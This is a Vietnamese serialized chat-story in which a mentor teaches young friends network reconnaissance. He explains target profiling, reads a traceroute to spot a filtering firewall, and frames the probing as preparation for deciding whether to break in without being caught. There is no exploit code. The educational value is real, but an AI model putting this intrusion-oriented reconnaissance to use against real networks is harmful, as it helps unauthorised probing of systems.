"Chắc bà Như chưa quen đó thôi. Anh D đi xuyên qua những vấn đề được đặt ra rất tốc độ. Tui rút kinh nghiệm và viết xuống hết những từ khóa quan trọng rồi về tự tìm hiểu sau. Có gì kẹt thì lần sau hỏi ảnh tiếp. Có những 'từ khoá' mở ra thành nhiều trăm trang tài liệu, thành nhiều cuốn sách luôn đó bà ơi. Lúc trước tui hơi ngỡ ngàng vì anh ấy chỉ thường giải thích các thắc mắc dựa trên điều kiện là mình phải nắm ít nhiều căn bản. Dần dà, tui ngộ ra được điều này, hi hi."
'ccxx' đáp:
"Vậy hả? có lẽ Như chưa đọc kỹ chi tiết của những lần đối thoại trước. Chắc kỳ này phải đọc lại thật kỹ. Cám ơn ông 'chỉ điểm' dùm nhe Duy."
'ccxx' nói tiếp:
"Bây giờ em mới hiểu lý do tại sao ông Hưng lại 'nghiện' những cuộc 'đà khía' đến như vậy. Em có quan niệm là cả ngày đã 'ôm' cái máy thì ban đêm nên dành thời gian cho chuyện khác nên mỗi lần ông Hưng mà đề cập đến máy tính là em gạt ngang. Không ngờ anh em mình nói chuyện kỹ thuật nhưng em cảm thấy thích thú và dễ chịu như đang trao đổi những chuyện bình thường trong đời sống vậy."
Tôi cười và đáp:
"Hì hì, 'skeptic blinds h(im)erself'. Nên bước vào một sự việc với tinh thần và thái độ mở rộng không thì em tự động hạn chế mình đó 'công chúa xinh đẹp'."
'ccxx' đáp gọn:
"Dạ, cám ơn anh. Em sẽ suy gẫm thêm."
'docco' tiếp tục khai triển:
"Vậy query DNS là một bước của quá trình thăm dò. Những gì tiếp sau đó vậy anh? À, em nhớ có một quyển sách nói về chuyện thăm dò có dùng từ 'profiling' nữa. Có phải đây cũng là một loại thăm dò?"
Tôi đáp:
"Profile tạm dịch là 'sơ yếu lý lịch' và profiling có nghĩa là 'hành động hình thành sơ yếu lý lịch' đó em. Đây cũng là một thuật ngữ được dùng trong công tác thăm dò. Ví dụ em muốn thăm dò một máy (host profiling), một mạng (network profiling) hoặc một tổ chức (organisation profiling) thì em cần hình thành một bảng 'sơ yếu lý lịch' cho từng mục tiêu. Trong bảng sơ yếu lý lịch này em điền vào những thông tin tìm được trong quá trình thăm dò."
Đang trò chuyện tới đây thì 'cuti' vào. Cu cậu xuýt xoa vì vào trễ và gởi cho tôi một thông điệp:
"Chào anh già khó tính . Em đi công chuyện, gởi xe nhưng làm mất thẻ gởi nên đủ thứ chuyện phiền phức, mất thời giờ. Anh với mấy đứa kia nói chuyện lâu chưa anh?"
Tôi đáp lời 'cuti' bằng cách mời 'cuti' tham gia 'conference', kèm theo câu trả lời:
"Cũng khá lâu rồi em. Không sao đâu, mình còn lai rai được vài chục phút nữa."
'cuti' vào 'conference' và xin lỗi mọi người vì vào trễ. Tôi tiếp tục trả lời 'docco':
"Tùy theo mục tiêu của em là một host, một network hay cả một organisation, profiling sẽ cần nhiều hay ít thông tin. Nguyên tắc căn bản áp dụng cho các mục tiêu đều như nhau.
- thứ nhất: em cần biết mục tiêu đang ở đâu, đang thuộc network nào.
- thứ hai: em cần biết từ nơi em đang thực hiện thăm dò đến mục tiêu cần thăm dò sẽ đi qua những chặng network nào.
- thứ ba: em cần biết mục tiêu có những dịch vụ nào.
- thứ tư: em cần biết mục tiêu được bảo vệ như thế nào.
Từ những thông tin thu thập được, em sẽ hình thành một cái gọi là profile."
'cuti' xen vào:
"Hay là anh cho bọn em một ví dụ cụ thể đi anh? Em thấy cách này dễ 'tiêu hoá' nhất đó."
Tôi đáp:
"Cũng được thôi em. Tuy nhiên, anh muốn tránh lối khai triển rập khuôn, theo từng bước cho nên em đừng theo ví dụ mà thực hiện nếu em muốn thăm dò. Nên vận dụng trí tưởng tượng của mình. Tất nhiên là em cần phải trau dồi một số kiến thức căn bản về giao thức mạng, dịch vụ trên mạng và công cụ kiểm tra / khắc phục sự cố cho mạng."
Tôi nói tiếp:
"Tiếp theo ví dụ lần trước về việc thông tin lấy được từ DNS, anh biết một host anh đang thăm dò thuộc network 172.16.114.0. Tất nhiên chuỗi IP này là private IP dùng để làm ví dụ thôi nha. Bọn em thừa biết mà phải không? Giả sử anh quyết định thăm dò kỹ lưỡng host white từ thông tin lấy được xuyên qua DNS lần trước. Anh muốn xem từ máy của anh (hoặc một terminal nào đó anh đang làm việc) đến host white.domain.com qua bao nhiêu hops, nó có thể có firewall bảo vệ hay không? thì anh dùng thử traceroute (tracert trên windows):
Code:
$ traceroute white.domain.com
traceroute to white.domain.com (172.16.114.161), 30 hops max, 38 byte packets
1 redback (192.168.1.100) 0.538 ms 0.408 ms 0.355 ms 2
2 cobweb (192.168.2.1) 13.528 ms 11.439 ms 10.712 ms
3 reptile (172.16.100.1)
3 border.domain.com(172.16.114.10) 16.052 ms 14.238 ms 13.118 ms
4 * * *
5 * * *
.....
.....
$
Kết quả trên cho thấy gì nhỉ?"
'ccxx' trả lời ngay:
"Em thì bó tay rồi đó anh. Em chẳng biết gì về mấy cái network hết á."
'cuti' nối tiếp:
"Hình như anh chạy lệnh traceroute để tìm xem có bao nhiêu hops đến host white.domain.com, còn những kết quả thì em không rõ lắm. Hình như nó in ra thông tin mỗi khi nó đến một network router phải không anh?"
Tôi đáp:
"Đúng rồi. Nếu em đọc kỹ TCP/IP Illustrated của Richard Stevens em sẽ nhận ra ngay những giá trị ở trên."
'docco' lên tiếng:
"Em cũng hiểu man mán như thằng Hưng vậy. Điều em không nắm rõ là tại sao nó in ra những dấu hoa thị ở mấy dòng cuối."
Tôi trả lời:
"Đây là những kiến thức thông thường về mạng. Nói một cách khác, traceroute là một công cụ thông dụng và là một phương tiện thẩm định network quan trọng. Anh có thể giải thích một cách vắn tắt như sau:
- dòng đầu tiên: traceroute cho biết là nó dò tuyến đi đến white.domain.com sau khi phân giải tên thành IP 172.16.114.161. Theo mặc định, nó chỉ dò đến 30 hops và dùng gói tin có kích thước là 38 bytes.
- dòng 1: đây là hop thứ nhất traceroute đi qua. redback là tên của host, nó là một router dùng để định tuyến gói tin từ network 192.168.1.0 sang network 102.168.2.0. Gói tin này mất thời gian tối đa, trung bình và tối thiểu như đã hiển thị.
- dòng 2: đây là hop thứ nhì traceroute đi qua. cobweb là một router khác định tuyến gói tin từ network 192.168.2.0 đến network 172.16.100.0.
- dòng 3: đây là hop thứ ba của traceroute. reptile là một router hay một firewall của network 172.16.114.0, network này chứa mục tiêu white.domain.com của mình.
- dòng thứ 4 trở đi: không có mấy thông tin. Điều này chứng tỏ những hop kế tiếp không động tĩnh gì cả và traceroute hoàn toàn không nắm bắt được thông tin gì cụ thể."
'cuti' thiếu kiên nhẫn:
"Em vẫn chưa thấy có gì là bảo mật hay thâm nhập ở đây cả vậy anh? Mấy cái này chỉ là kiến thức cần thiết cho một network admin thôi mà? Với lại nữa, tại sao mình cần biết có bao nhiêu hops đến mục tiêu làm chi vậy anh?"
'ccxx' lên tiếng:
"Cái ông này lại láu táu nữa rồi. Anh D đưa ra những chi tiết này chắc chắn sẽ dẫn đến một điểm nào đó cần nắm. Sao ông hông thử kiên nhẫn thêm một tí nữa coi sao?"
Tôi đỡ lời:
"Hì hì, anh vẫn biết 'cuti' vẫn còn ám với những thứ gọi là 'thâm nhập' bằng một công cụ mầu nhiệm nào đó. Để anh cắt nghĩa tiếp cho nó đỡ bồn chồn." Tôi nói tiếp:
"Mình cần biết số hops có nhiều lý do cần thiết sau này, tùy theo ý định thâm nhập nữa. Ví dụ từ máy mình đến mục tiêu phải đi xuyên qua nhiều hops quá thì các kỹ thuật rà tìm sau này phải điều chỉnh lại cho thích hợp để đỡ mất thời gian hoặc để có kết quả chính xác hơn (vì có thể có những trường hợp gói tin bị mất). Sở dĩ những thông tin thâu thập được rất quan trọng bởi vì chúng giúp em xác định tổng quát mức bảo mật của mục tiêu em thăm dò. Trong trường hợp mình đang bàn ở đây, nó tiết lộ một chi tiết rất quan trọng là ở hop thứ 3, border.domain.com có thể hủy các gói UDP đi vào nhưng không hủy các gói ICMP đi ra để trả lời. Chứng tỏ border.domain.com là một router rất chặt chẽ hoặc nó phải là một firewall có những ấn định cụ thể. Tại sao mình biết nó hủy các gói UDP đi vào nhưng không hủy các gói ICMP đi ra để trả lời?"
'ccxx' thốt lên:
"Em thua."
'cuti' nối tiếp:
"Em chẳng khá gì hơn."
'docco' chậm rãi đáp:
"Hình như cái này có liên quan đến cơ chế làm việc của traceroute phải không anh? Tường tận vấn đề thì em đầu hàng rồi đó."
Tôi đáp:
"Cu Duy đoán đúng rồi đó. traceroute gởi gói tin UDP đến mục tiêu và tự động chọn cổng UDP nó gởi đến. Chuỗi cổng này thường nằm trên dãy 30000. Nếu mục tiêu của mình (white.domain.com) hoàn toàn không có gì bảo vệ (như một máy bình thường), chắc chắn traceroute có thể liên hệ với nó qua các cổng trên dãy 30000 trở lên. Nếu chính white.domain.com có cơ chế cản UDP hoặc host nào nằm bên ngoài (bảo vệ cho nó) cản UDP giúp nó thì em thấy ngay mục tiêu em đang thăm dò không dễ dàng tí nào."
'cuti' phát biểu:
"Vậy thì cũng chưa có gì cụ thể cho việc thâm nhập cả."
Tôi hơi cáu khi 'cuti' cứ nhấm nhẳn chuyện thâm nhập trong khi đang bàn ở bước thăm dò. Tôi trả lời:
"Hưng à, hình như em quên là mình đang nói chuyện thăm dò hay sao đó. Sao em cứ đeo mãi cái chuyện thâm nhập vậy? Em chưa biết mục tiêu của em thế nào thì em thâm nhập cái con khỉ gì? Điều anh muốn phân tích ở đây là muốn cho em thấy những kỹ năng và kiến thức cần thiết để ước lượng tình thế. Từ đó, tránh việc phí thời gian để cố thâm nhập vào một mục tiêu quá vững hoặc nghiêm trọng hơn nữa là tránh bị 'tóm' nếu mò mẫm không có căn. Giả sử anh muốn thâm nhập một mục tiêu và ước lượng được tình thế khó khăn hoặc nguy hiểm (vì dễ bị phát hiện), anh sẽ không phí thời gian hoặc liều lĩnh làm chuyện này. Cái khổ là anh phải thẩm định và thăm dò trước khi đi đến chỗ quyết định nên thâm nhập hay không nên thâm nhập. Không phải mục tiêu nào cũng có thể thâm nhập và em nên gột rửa khỏi cái đầu em chuyện này: không có một thứ công cụ mầu nhiệm nào giúp em thâm nhập một hệ thống và cũng chẳng có công thức cụ thể nào cho việc thâm nhập cả. Thâm nhập được hay không là tùy thuộc ở mức phòng thủ của mục tiêu và kiến thức, khả năng sáng tạo của em cho từng trường hợp."
Thấy tôi có vẻ cáu, 'ccxx' đỡ lời:
"Thôi anh, anh đừng cáu làm gì. Em thấy mấy bữa nay ông Hưng làm sao đó. Hay mình nói chuyện khác cho vui rồi quay lại chuyện này sau?"
Tôi đáp:
"Không sao đâu em. Anh hơi cáu thật bởi vì anh không hiểu sao dạo này cu Hưng lại có vẻ rất thiếu kiên nhẫn. Những điều mình bàn ở đây là phương pháp khai triển vấn đề chớ không phải lối "đút từng muỗng" cho từng lệnh một. Anh muốn mấy đứa hiểu một điều tối quan trọng là bảo mật, thâm nhập hay bất cứ thứ gì khác cũng cần phải có kiên nhẫn, căn cơ, ngọn ngành. Anh nghĩ rằng anh lặp đi, lặp lại điểm này rất nhiều lần nhưng hình như khái niệm này... khó tiêu hay sao đó . Ngay cả chuyện đơn giản như chuyện nấu cơm chẳng hạn. Nếu em muốn nấu cho nhanh và cố nổi lửa lên cho lớn để mong cơm mau chín thì chỉ tổ làm cho cơm khê khét ở dưới nhưng lại sống nhăn ở trên thôi. Em làm toán, cộng trừ nhân chia chưa vững thì làm sao đụng đến căn số, lũy thừa và những thứ cao cấp hơn? Còn chuyện cụ thể mình đang bàn ở đây là chuyện thăm dò. Chưa thăm dò xong thì biết gì mà thâm nhập? Chỉ có mấy ông nhóc script kiddie mới chơi trò lôi ở đâu ra một cái tool rồi nhắm mắt, nhắm mũi mà phang đại thôi. Cái này y hệt như chuyện 'ping of death' đến Linux server mà anh đã kể thôi."
'docco' lên tiếng:
"È... èm... em thấy anh cáu là đúng nhưng anh thông cảm cho thằng Hưng và bọn em nha anh? Dù sao bọn em cũng còn trẻ, cũng còn bồng bột. Đâu có điềm đạm và kiên nhẫn như anh được. Riêng em thì em thấy mỗi điểm anh nói đều mở ra những điều mới mẻ mà em cần phải tham khảo, nghiên cứu và học hỏi. Không phải khái niệm "căn cơ, ngọn ngành" khó tiêu đâu anh mà là vì, đôi khi bọn em hơi thiếu kiên nhẫn tí thôi."
Tôi đáp lời:
"Hì hì, anh có cáu thì chỉ thoáng qua vậy thôi. Anh có 'care' thì mới cáu. Anh không 'care' thì không cáu."
Không khí trong phòng 'conference' trở nên ngột ngạt. Mọi người im lặng như thể chẳng ai còn chuyện gì để nói. Sau hồi lâu, tôi định lên tiếng thì đột nhiên 'cuti' phát biểu gọn lỏn:
"Đúng là 'anh già khó tính'."
Tôi không kềm được, phá lên cười:
"Hì hì hì."
rồi cả ba đứa 'cuti', 'ccxx' và 'docco' cũng cười rộ:
"Hi hi hi"
"Ha ha ha"
"Khẹc khẹc khẹc... tếu thật."
Không khí trở lại bình thường một cách nhanh chóng. Tôi lên tiếng:
"Bây giờ anh đề nghị mấy đứa làm một bài tập để lần sau mình nói chuyện dễ dàng hơn."
'ccxx' thốt lên:
"Bài tập?"
'cuti' nối tiếp:
"Bài tập gì đó anh?"
'docco' vẫn chậm rãi như mọi khi và hỏi sau cùng:
"Bài tập cho chuyện gì vậy anh?"
Tôi đáp:
"Nói là bài tập thì cũng không đúng. Thật ra nó chỉ là một vài điểm nhỏ cần tham khảo thôi. Anh muốn mấy đứa, nếu rảnh, nên tìm hiểu xem traceroute (trên UNIX) và tracert (trên Windows) làm việc ra sao. Chúng gởi cái gì đi và nhận cái gì về trong các trường hợp thông thường. Biên độ tìm hiểu sâu / rộng thế nào là tùy bọn em. Nếu siêng hơn nữa thì tìm hiểu (hoặc xem lại) thật kỹ cơ chế '3-way handshaking' của tcp. Đặc biệt chú tâm đến những đặc điểm: khi nào thì gói tcp dùng syn flag, khi nào dùng ack, khi nào dùng ack-psh, khi nào dùng fin, khi nào dùng rst... Nắm những cái này thì lần tới mình 'đà khía' sẽ thông suốt hơn."
Lần này 'docco' lên tiếng trước:
"Ái chà, anh có vẻ cụ thể hơn những lần trước rồi đây. Chắc là chuyện này có gì quan trọng nên anh yêu cầu bọn em tham khảo?"
Tôi đáp:
"Quan trọng thì kiến thức nào cũng quan trọng hết cả nhưng cụ thể trong nội dung mình đang bàn, anh muốn bọn em thấu đáo hơn bằng cách tham khảo thêm. Có vậy thì mới vui chớ? ).
'cuti' nói:
"Dạ, chuyện này dễ thôi mà. Để em lục trong kho e-book của em thế nào cũng có cả đống thông tin cho mà xem."
'ccxx' giận dỗi:
"Kìa, kìa, có cả 'kho' e-book mà dấu người ta phải hông? Sao hồi giờ giữ khư khư cái 'kho' đó vậy? "
'cuti' biết ngay là cô bé Như đang dỗi, bèn cuốn quýt lên tiếng:
"Ùm.. è... anh đây có giấu Như hồi nào đâu à. Tại vì mỗi lần nói đến chuyện máy tính là Như gạt ngang đó thôi. Trời, cái gì anh còn 'dâng' hết cho Như được huống hồ chi mấy quyển e-book quèn đó? "
'docco' xen vào trêu:
"Thôi thôi, hai ông bà muốn ca cải lương thì vô phòng kín mà ca dùm. Tui nghe "anh, anh, Như, Như" tự nhiên cứ nổi gai liên hồi đây."
Tôi cười, chêm thêm:
"Ừa, bây giờ anh cũng phải dọt luôn. Anh em mình chuồn đi Duy, để hai đứa nó cứ tha hồ mà "anh, anh, Như, Như" cho tiện. Khi nào rảnh mấy anh em mình lại đà khía hả? Chào mấy đứa."
Tôi logoff, thầm nghĩ "hèm... không biết mấy trự có chịu chuẩn bị gì cho lần tới không đây?"
17/10/2005
<còn tiếp>
|
|
|
12. Information... What for? - I
Mấy tuần qua tôi quá bận rộn nên đã 'lờ' khá nhiều mail và offline messages từ bộ ba 'cuti', 'haothu' và 'docco' và tất nhiên tôi cũng lờ khá nhiều mail từ những người khác. Tôi được nghỉ bù liên tiếp ba ngày (cộng với hai ngày cuối tuần là năm ngày). Dự định sẽ đưa gia đình đi chơi đâu đó, không ngờ trời đổ mưa tầm tã cho nên đành phải thúc thủ trong nhà. Tôi quyết định online để đọc mail, trả lời mail và xem offline messages. Như dự đoán, tôi có hàng trăm email trong inbox và hàng 'tấn' offline messages. Đang trong lúc thong thả đọc và trả lời từng cái (đáng trả lời), YIM bỗng nhiên báo 'cuti' vừa vào. Tôi hết sức ngạc nhiên vì lúc này bên VN mới có 7 giờ sáng. Không hiểu 'cuti' làm gì mà mò vào YIM sáng tinh mơ như thế. Tôi bèn gởi anh chàng một message:
"Hello Hưng, làm gì mà mò lên đây sớm quá vậy?"
Trong tích tắc, tôi nhận được hồi báo:
"Ui trời, hôm nay là ngày gì mà đặc biệt vậy? Sao giờ này anh lên đây, bộ anh không đi làm sao?"
Tôi đáp:
"À, anh được mấy ngày nghỉ bù, định đi chơi đâu đó nhưng trời đang mưa tầm tã nên lên web dạo chơi . Còn em làm gì mà dậy sớm vậy?"
'cuti' trả lời có vẻ uể oải:
"Dạ, đáng lẽ hôm nay em đi học nhưng bị cúm mấy hôm nay, trong người còn thấy nhừ quá nên ở nhà. Em dậy hồi sớm à. Nằm hoài trong giường buồn quá nên mò lên net chơi. Vậy anh em mình 'đà khía' lai rai được hông anh?"
Tôi cười, đáp:
"Nếu trời cứ mưa thì anh em mình tha hồ mà 'đà khía' nhưng trời tạnh mưa thì anh sẽ dẫn mấy thằng nhóc đi chơi. Em muốn 'đà khía' gì đây?"
'cuti' khoái chí:
"Hi hi, em muốn trời mưa hoài. Anh em mình 'đà khía' chuyện gì mà không được anh? Chuyện trên trời, dưới đất cho vui mà. À, em có một chuyện cũng buồn cười lắm. Anh muốn nghe không?"
Tôi ngần ngừ:
"Èm... cũng tùy chuyện đó là chuyện gì nữa em. Nếu em nghĩ là anh thích nghe thì em kể đi."
'cuti' bẽn lẽn"
"Cũng chẳng có gì đặc biệt đâu anh. Chuyện em với con 'ghệ' bồ đó mà."
Tôi đáp:
"Ui trời, 'nàng tiên của lòng anh' mà sao gọi là 'con ghệ' vậy em? "
'cuti' cười, trả lời câu hỏi của tôi:
"Anh không biết đó thôi, đó là cách gọi thân mật và âu yếm đó thôi mà."
Tôi trả lời:
"Ái chà... có lẽ anh lỗi thời rồi. Anh mà gọi bà xã anh là 'con ghệ' thì chắc nguy to . Ừa, em kể đi, có chuyện gì với 'con ghệ' mà em có vẻ phấn khởi vậy?"
'cuti' bắt đầu:
"Anh còn nhớ hồi bữa, lần cuối cùng bốn anh em mình 'đà khía' hông? Thật ra hôm đó em có hẹn với 'con ghệ' nhưng em quyết định cho nó leo cây. Ai biểu tắt di động làm chi, em gọi hoài không được nên... xù."
Tôi thắc mắc:
"Tắc di động là tắc thế nào em? anh không hiểu lắm."
'cuti' phát biểu:
"Kiểu này anh phải về VN làm một khóa tu từ đi anh, 'di động' là điện thoại di động đó. Hì hì."
Tôi đáp:
"À... hoá ra là thế. Anh cứ ngỡ con mèo di động hay con chuột di động gì đó "
'cuti' tiếp tục:
"Em phải dùng từ cẩn thận không thì lại bị anh kê cho. Tối hôm đó, 'con ghệ' đợi hoài không thấy em đến nên nổi 'khùng' lên. Điện thoại di động em thì hết pin mà cũng chưa kịp sạc nữa. Thế là ẻm bèn phóng xe đến nhà em. Chưa giáp mặt, đã mắng em xối xả vì em đã cho bả leo cây."
Tôi xen vào:
"Vậy là tốt rồi, 'nường' còn chịu khó phóng xe đến nhà em để mắng thì không có gì trầm trọng. Rồi sao nữa."
'cuti' cười, nói tiếp:
"Hì hì, anh không rõ đó thôi. Con bồ em tánh nóng như lửa, có gì là huỵch toẹt ra hết. Lúc đó nghe thì cũng ngứa con ráy lắm nhưng riết cũng quen. Nó buộc tội em là mê net, mê chat với 'con quỷ cái' nào đến nỗi phải cho nó leo cây. Em cố sức phân trần nhưng không hiệu quả. Rốt cuộc em phải cho nó xem nội dung mấy anh em mình 'đà khía' nó mới chịu yên."
Tôi cười:
"Hì hì, hoá ra trước đó em chưa hề kể cho 'con ghệ' nghe về mối quan hệ 'bất chính' của mấy anh em mình sao?"
'cuti' trả lời:
"Dạ, em định kể cho nó nghe nhiều lần nhưng cứ mỗi lần đi chơi mà đề cập đến tin học, đến máy tính là nó gạt phăng đi. Nó nói "bộ ôm máy cả ngày, cả tuần chưa đã nư sao mà hễ mở miệng ra là máy tính, máy tính" nên em... im luôn."
Tôi đáp:
"Thú vị lắm. Vậy sau đó thế nào em?"
'cuti' cười hớn hở:
"Dạ sau đó thì tụi em đi uống nước một chút rồi về. Lúc mấy anh em mình kết thúc thì bên đây mới có 7 giờ tối chớ mấy anh. Thế là trong lúc đi uống nước, 'con ghệ' cứ đem chuyện mấy anh em mình 'đà khía' ra hỏi dồn. Em nói với nó là em có lưu lại nội dung anh em mình chat, để em cho nó một bản để đọc cho khỏi thắc mắc."
Tôi đáp:
"Ừa, con gái là chúa tò mò mà em. Cái gì càng dấu, càng thích tò mò ."
'cuti' cười hi hi, rồi nói tiếp:
"Chưa hết. Sau khi em đưa cho nó cái file chứa nội dung anh em mình chat, mấy ngày sau nó nhất định đòi em phải giới thiệu anh cho nó. Nó cũng muốn tham gia 'đà khía' với mấy anh em mình luôn. Em nói là em sẽ chuyển lời nhưng em không hứa gì hết."
Tôi cười ghẹo 'cuti':
"Hì hì, được dịp trả đũa nên làm khó 'nường' hay sao đây? Hoá ra là chuyện con bé muốn tham gia . Thì cứ dẫn 'nường' lên 'đà khía' chung chớ có gì quan trọng đâu em?"
'cuti' trả lời:
"Em nói thiệt mà anh. Em không thể hứa gì nó vì em không biết hay sẽ nói gì. Lỡ may em đề nghị và anh phán con gái, con lứa mà bày vẽ, lắm chuyện thì có quê cả đám hông à."
Tôi đáp:
"Có gì mà không ok em. Kêu nó tham gia cho vui chớ có sao đâu à."
"cuti" trả lời:
"Dạ, để em báo cho nó biết. 'Con gái, con lứa' mệt lắm anh ơi, khi thế này, khi thế kia, chẳng biết đường nào mà mò."
Bên ngoài mưa đã ngớt. Tôi đoán mấy thằng nhóc của tôi sắp sửa vòi vĩnh chuyện đi chơi đây. Cho nên tôi cho 'cuti' biết:
"Có lẽ anh sẽ đi chơi với mấy thằng nhóc. Trời bên này đã tạnh mưa rồi em. Chiều tối nay anh ở nhà, nếu thích em rủ đám Khoa, Duy và 'con ghệ' vào đà khía cho vui."
"cuti" hớn hở:
"Dạ, vậy thì vui quá. Em bệnh nằm nhà hoài chán quá. Được đà khía vậy thì quá đã. Để em điện cho tụi nó liền. Vậy khoảng mấy giờ anh lên?"
Tôi phỏng chừng:
"Anh đoán khoảng 4, 5 giờ chiều bên em đó, có tiện không?"
'cuti' chậc lưỡi đáp:
"Chậc chậc... hơi kẹt đó anh. Bọn em thì dễ nhưng con Như chắc kẹt vì em đoán giờ đó nó phải nấu cơm chiều rồi. Thôi kệ nó vậy. Khi khác cho nó tham gia cũng được."
Tôi 'chỉnh' 'cuti':
"Hèm... nó là girl friend của em mà cứ 'con' với 'nó' nghe hông 'ngọt' tí nào hết em. Vậy ngày mai khoảng 2 giờ trưa bên em được hông?"
'cuti" trả lời:
"Dạ, 2 giờ trưa thì chắc ok rồi anh. Nó có lên trễ một tí cũng không sao. Còn chuyện 'nó' với 'con' em bị quen miệng rồi anh ơi. Gọi thế nào cho ổn đây anh?"
Tôi đáp:
"Kêu bằng tên đi em và cũng không cần phải đệm thêm chữ 'con' . Rồi, 2 giờ trưa bên em hả? Anh đi đây."
'cuti' phàn nàn:
"Dạ chào anh. Đúng là anh già khó tính, thêm chữ 'con' cũng không được ."
Tôi logoff.
----------------------------
Chiều hôm sau, như đã hẹn, tôi lại logon YIM. Khi vào, tôi thấy hai khuôn mặt 'vàng khè' của 'cuti' và 'docco' cộng thêm một 'request for accept' của một người có cái nick khá ngộ nghĩnh và bí hiểm là ccxx kèm theo thông điệp ngắn gọn: "Dạ em là Như đây, bạn của Hưng, Khoa và Duy đó anh. Anh add em được không ạ?". Hiển nhiên là 'cô bồ' của 'cuti' nhà mình. Tôi nhấn nút "accept" và một khuôn mặt 'vàng khè' trên cái nick ccxx hiện ra trên danh sách YIM của tôi. Chẳng thấy 'haothu' đâu cả, hay anh chàng đang 'invisible'?
Trong tích tắc, một "conference invitation" được ccxx gởi đến. Trong khi nhấn nút "Accept", tôi thầm nghĩ "chà, cô bé này có vẻ nhậm lẹ đây".
Trong 'conference room' có 'cuti', 'docco' và 'ccxx' nhưng chẳng thấy bóng dáng 'haothu' đâu cả. 'ccxx' lên tiếng:
"Chào 'anh già khó tính' ạ. Em xin tự giới thiệu em là Như. Rất vui được làm quen với anh."
Tôi mỉm người, tự nhủ "con bé liếng quả nhỉ" và đáp lễ:
"Chào Như, cũng bắt chước cu Hưng gọi anh là 'anh già khó tính' sao? Còn 'haothu' đâu rồi mấy đứa?"
'ccxx' trả lời lẹ làng:
"Dạ, em nghe nói nó bị kẹt. Không rõ bị kẹt gì mà không online được anh."
Lúc này 'cuti' và 'docco' mới lên tiếng:
"Chào anh già khó tính, anh đi chơi với mấy nhóc có vui không?"
"Chào anh D, mới có vài tuần mà em thấy như hàng tháng vậy. Anh khoẻ không?"
Tôi đáp:
"Ừa, đi chơi cũng vui lắm em. Anh cũng khỏe, còn em dạo này sao Duy?"
'docco' trả lời:
"Dạ em cũng bình thường anh. Dạo này em đọc nhiều hơn và ít đi chơi hơn "
Tôi đáp:
"Tốt quá vậy? Anh tin là em 'luyện' được mấy 'tầng nội công' rồi đó . Ừa, nãy giờ anh thử đoán cái nick ccxx là cái gì. Anh nghĩ là đoán đúng hông chừng."
'ccxx' cười khoái chí:
"Anh đoán ra được em phục lăn liền đó. Hồi giờ chưa có ai đoán ra được cái 'bí ẩn' đằng sau cái nick này đó anh."
Tôi cười, đáp:
"Ừa, nếu vậy dám anh đoán sai lắm đó. Anh nghĩ ccxx là 'công chúa xấu xí' phải không?"
Cả ba 'cuti', 'docco' và 'ccxx' cùng trả lời gần một lượt:
"Ồ"
"wow"
"độc thiệt"
và 'ccxx' nói tiếp:
"Sao anh đoán một cái là trúng phóc liền dzị? Em thiệt là phục lăn đó. Mấy người trên mạng toàn liên tưởng cái nick của em đến những thứ bậy bạ không à."
Tôi đáp:
"Chắc là mấy 'anh chàng' trên mạng đoán được nhưng không dám nói, sợ em giận vì nó có hai chữ 'xấu xí' bên trong. Anh nhìn qua chữ ccxx tự nhiên anh liên tưởng ngay đến 'công chúa xấu xí' liền. Nhưng mà, ccxx có gì mà liên tưởng đến những thứ bậy bạ vậy em?"
'ccxx' phụng phịu:
"Anh không biết đó thôi. cc là credit card chùa đó anh, còn xx là mấy thứ... ùm.... à... tầm bậy tầm bạ đó. Thôi, em không nói nữa. À nhưng mà anh không sợ em giận sao mà nói thẳng hai chữ 'xấu xí' dzị? "
'docco' xen vào:
"Thì xấu thì chấp nhận xấu chớ có gì mà giận cà."
'ccxx' phản công:
"Còn ông nữa, còn chừng ông nghe ông."
Tôi cắt ngang:
"Hì hì, anh nghĩ hai chữ 'xấu xí' đó thật ra hàm chứa một chút kiêu hãnh ngầm đó thôi. Có ai tự cho mình 'xấu xí' bao giờ? Nếu có thì cũng 'ngầm' khen mình 'xinh đẹp' . Bởi vậy, anh chẳng ngại nói ra hai chữ này. Riêng với những người liên tưởng cái nick của em thành những thứ bậy bạ thì chính họ thiệt thòi thôi. Đừng để ý làm gì."
'ccxx' thốt:
"Kinh khủng, kinh khủng. Em đọc những lời anh đối thoại với đám Hưng, Khoa, Duy đã thấy miệng lưỡi của anh kinh khủng. Giờ trực tiếp nói chuyện mới thấy quả là không sai . Thôi, em nghĩ ngoài việc 'đà khía' chuyện tin học, máy tính, anh nên huấn luyện ông Duy một khoá 'ái tìn' đi anh. Ông này cũng tốt mã, học giỏi mà sao vẫn chưa có một 'miểng tìn rách rưới' nào hết. Em bảo đảm anh huấn luyện cho ổng một khoá là thành công ngay."
'docco' luống cuống:
"Thôi.. thôi.. đi bà. Cho tui xin mà. Nhưng không cái gì mà 'tìn tìn' trong này. Thôi anh, mình nói chuyện tin học vui hơn."
'ccxx' cười ré lên:
"hi hi hi, tui đoán mặt ông Duy lúc này đang đỏ như 'mặt trời bé con' đó. Thôi, tha cho ông một lần đó. Vậy mấy anh em mình nói chuyện gì đây?"
'cuti' lúc này mới lên tiếng:
"Anh thấy... anh thấy Như hoạt bát hông anh? Hay để Như chọn đề tài được đó."
Tôi cười, đáp:
"Hì hì, anh thấy 'nhà' em hoạt bát lắm, muốn 'lăng xê' nàng liền hả? Hy vọng sẽ có nhiều chuyện lý thú đây ."
'ccxx' phát biểu một câu thật ngắn rồi bỏ dở:
"Em công nhận anh nói chuyện 'kinh' thiệt.... [/i]
'docco' cười thích thú:
"Hi hi, cám ơn anh D gỡ dùm em một quả. Em dám chắc lúc này mặt bà Như đỏ hơn 'mặt trời bé cha' nữa "
Chỉ qua vài câu đối thoại, bọn tôi đã trở nên thoải mái như đã quen thân nhau từ lâu. 'docco' hình như muốn cắt ngắn những chuyện cà rỡn để bắt đầu 'đà khía' những chuyện cu cậu thắc mắc. 'docco' lên tiếng:
"Thôi, 'đả qua đả lại' một hồi coi chừng thế chiến thứ III bắt đầu bây giờ. Mình nói chuyện khác đi hả bà con?"
'docco' nói tiếp:
"Em có tham khảo qua các vấn đề thuộc về reconnaissance rồi đó anh nhưng em thấy có nhiều điểm lờ mờ quá. Em thấy có cái thì gọi là 'enumeration', cái thì gọi là 'interrogation', cái lại gọi là "reconnaissance". Em thử so sánh thì thấy rằng chúng cùng phục vụ cho mục đích thăm dò. Vậy cái nào là cái nào đây anh?"
Tôi cười, đáp:
